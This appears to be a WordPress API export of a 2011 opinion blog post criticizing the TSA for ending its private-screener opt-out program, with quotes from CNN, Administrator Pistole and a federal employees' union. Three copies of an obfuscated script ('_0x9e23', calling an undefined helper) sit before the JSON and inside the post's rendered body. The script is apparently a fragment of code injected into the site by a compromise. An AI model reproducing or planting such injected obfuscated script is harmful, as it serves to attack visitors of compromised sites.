<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script>{"id":917,"date":"2011-02-06T15:59:41","date_gmt":"2011-02-06T21:59:41","guid":{"rendered":"http:\/\/www.jsharf.com\/view\/?p=917"},"modified":"2011-02-06T15:59:41","modified_gmt":"2011-02-06T21:59:41","slug":"tsa-opts-out","status":"publish","type":"post","link":"https:\/\/www.jsharf.com\/view\/?p=917","title":{"rendered":"TSA Opts-Out"},"content":{"rendered":"<p>I&#8217;ve written before about the TSA opt-out program, where airports can have their security provided by private security firms as opposed to TSA government unions.\u00a0 While the private contractors would still have to adhere to all the TSA procedures &#8211; this isn&#8217;t a way out of the groping, sadly &#8211; they would still be able to implement operational changes that could make them more responsive and effective.\u00a0 Rep. John Mica (R-Fla.) who created the opt-out program, and has been active in trying to get airports to adopt it, was reviving it as an option last November, right around the time that Americans&#8217; &#8220;junk&#8221; became subject of extended national debate.<\/p>\n<p>At the time, I thought that, while the TSA wouldn&#8217;t be forced to review these insane rules, or its attitude of treating all Americans as likely bombers, as a result of the opt-out program, it was still a good idea, as it would reduce the number of unionized government employees hanging around, and might well reduce TSA&#8217;s direct budget, always a measure of power and importance in Washington.\u00a0 It might also make TSA look bad.<\/p>\n<p>Apparently TSA has belatedly come to the same conclusion, and has decided to <a href=\"http:\/\/www.cnn.com\/2011\/TRAVEL\/01\/29\/tsa.private\/index.html?hpt=T2\" target=\"_blank\">end the opt-out program by not approving any more applications<\/a>:<\/p>\n<blockquote><p>At that time, the TSA said it neither endorsed nor opposed private screening.<\/p>\n<p>&#8220;If airports chose this route, we are going to work with them to do it,&#8221; a TSA spokesman said in late December.<\/p>\n<p>But  on Friday, the TSA denied an application by Springfield-Branson Airport  in Missouri to privatize its checkpoint workforce, and in a statement,  Pistole indicated other applications likewise will be denied.<\/p>\n<p>&#8220;I  examined the contractor screening program and decided not to expand the  program beyond the current 16 airports as I do not see any clear or  substantial advantage to do so at this time,&#8221; Pistole said.<\/p><\/blockquote>\n<p>First, this is the perfect example of distortion of perspective.\u00a0 Private screeners now need to justify their existence by a &#8220;clear or substantial advantage,&#8221; rather than the government doing so.\u00a0 It&#8217;s what happens when government becomes an interest unto itself.<\/p>\n<p>Second, buried at the end of the article, is this predictable response from the union that will try to help re-elect Pistole&#8217;s boss:<\/p>\n<blockquote><p>&#8220;The nation is secure in the sense that the safety of our skies will not  be left in the hands of the lowest-bidder contractor, as it was before  9\/11,&#8221; said John Gage, president of the American Federation of  Government Employees. &#8220;We applaud Administrator Pistole for recognizing  the value in a cohesive federalized screening system and work force.&#8221;<\/p><\/blockquote>\n<p>Because then, naturally, we night not need these bozos at all.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I&#8217;ve written before about the TSA opt-out program, where airports can have their security provided by private security firms as opposed to TSA government unions.\u00a0 While the private contractors would still have to adhere to all the TSA procedures &#8211; this isn&#8217;t a way out of the groping, sadly &#8211; they would still be able [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[51],"tags":[77,53],"_links":{"self":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/917"}],"collection":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=917"}],"version-history":[{"count":2,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/917\/revisions"}],"predecessor-version":[{"id":919,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/917\/revisions\/919"}],"wp:attachment":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=917"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=917"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=917"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}